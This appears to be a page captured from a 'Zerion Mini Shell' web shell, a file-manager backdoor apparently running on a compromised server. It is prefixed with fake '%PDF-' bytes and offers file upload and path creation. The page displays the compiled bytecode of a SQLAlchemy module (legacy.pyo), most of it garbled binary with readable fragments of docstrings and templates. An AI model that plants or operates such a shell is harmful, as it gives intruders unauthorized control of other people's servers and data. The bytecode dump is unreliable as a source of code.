%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/227033/root/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/event/
Upload File :
Create Path :
Current File : //proc/227033/root/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/event/legacy.pyo

�
��4]c@s\dZddlmZd
d�Zd�Zd�Zd�Zd�Zd�Z	d	�Z
d
S(shRoutines to handle adaption of legacy call signatures,
generation of deprecation notes and docstrings.

i(tutilcs���fd�}|S(Ncs8t|d�sg|_n|jj���f�|S(Nt_legacy_signatures(thasattrRtappend(tfn(targnamest	convertertsince(sJ/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/event/legacy.pytlegs((RRRR((RRRsJ/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/event/legacy.pyt_legacy_signaturescs�x��jD]�\}���ddkr?t��dd!�nt�t��t|j�kr
�t|j�kr
�r���fd�}n����fd�}|Sq
W�SdS(Ni����s**kwics��|��S(N((targs(tconvR(sJ/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/event/legacy.pytwrap_leg)scsVtt�j|��}g�D]}||^q}�rH�||�S�|�SdS(N(tdicttzipt	arg_names(R
tkwtargdicttname(Rtdispatch_collectionRthas_kw(sJ/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/event/legacy.pyR.s

(tlegacy_signaturestTruetFalsetlenR
tbooltvarkw(RRtargspecRR((RRRRRsJ/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/event/legacy.pyt_wrap_fn_for_legacys!cs&dj�fd�|jd�D��S(Ns
c3s|]}�|VqdS(N((t.0tline(tindent(sJ/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/event/legacy.pys	<genexpr><s(tjointsplit(ttextR((RsJ/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/event/legacy.pyt_indent;scCs�tdjd�|jdd!D��d�}|jrQtd�|jD��}nd}d}t|j�dkr|d	7}n|i|r�d
|ndd6|jd
6|jr�dndd6dj|j�d6|d6|d6;}|S(Ns
css |]}di|d6VqdS(s%(arg)s = kw['%(arg)s']targN((RR$((sJ/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/event/legacy.pys	<genexpr>Bsiis    css|]\}}}|VqdS(N((RRR
R((sJ/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/event/legacy.pys	<genexpr>Issfrom sqlalchemy import event

# standard decorator style%(current_since)s
@event.listens_for(%(sample_target)s, '%(event_name)s')
def receive_%(event_name)s(%(named_event_arguments)s%(has_kw_arguments)s):
    "listen for the '%(event_name)s' event"

    # ... (event handling logic) ...
is�
# named argument style (new in 0.9)
@event.listens_for(%(sample_target)s, '%(event_name)s', named=True)
def receive_%(event_name)s(**kw):
    "listen for the '%(event_name)s' event"
%(example_kw_arg)s

    # ... (event handling logic) ...
s (arguments as of %s)tt
current_sincet
event_names, **kwthas_kw_argumentss, tnamed_event_argumentstexample_kw_argt
sample_target(	R#R RRtmaxtNoneRt__name__R(RR+RR*R&R"((sJ/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/event/legacy.pyt_standard_listen_example?s.			
	
cCssd}xf|jD][\}}}|di|d6|jd6|jrHdndd6dj|�d6|d	67}qW|S(
NR%s&
# DEPRECATED calling style (pre-%(since)s, will be removed in a future release)
@event.listens_for(%(sample_target)s, '%(event_name)s')
def receive_%(event_name)s(%(named_event_arguments)s%(has_kw_arguments)s):
    "listen for the '%(event_name)s' event"

    # ... (event handling logic) ...
RR's **kwR(s, R)R+(RR.RR (RR+RR"RR
R((sJ/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/event/legacy.pyt_legacy_listen_examplesps
cCsb|jd\}}}di|d6|jd6|jd6dj|j�d6|jrYdnd	d
6S(Nis>
.. deprecated:: %(since)s
    The :class:`.%(clsname)s.%(event_name)s` event now accepts the 
    arguments ``%(named_event_arguments)s%(has_kw_arguments)s``.
    Support for listener functions which accept the previous 
    argument signature(s) listed above as "deprecated" will be 
    removed in a future release.RtclsnameR's, R)s, **kwR%R((RR.RR RR(tparent_dispatch_clsRRR
R((sJ/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/event/legacy.pyt_version_signature_changes�s

cCs�d}t|dd�}|tt|||�d�}|jru|tt|||�d�7}|t||�7}ntj|j|d�S(	Ns@.. container:: event_signatures

     Example argument forms::

t_target_class_doctobjt iis        s        (	tgetattrR#R/RR0R3Rtinject_docstring_textt__doc__(RR2RtheaderR+R"((sJ/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/event/legacy.pyt_augment_fn_docs�s
	
N(R9R%RR-R	RR#R/R0R3R;(((sJ/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/event/legacy.pyt<module>s
	!		1		

Zerion Mini Shell 1.0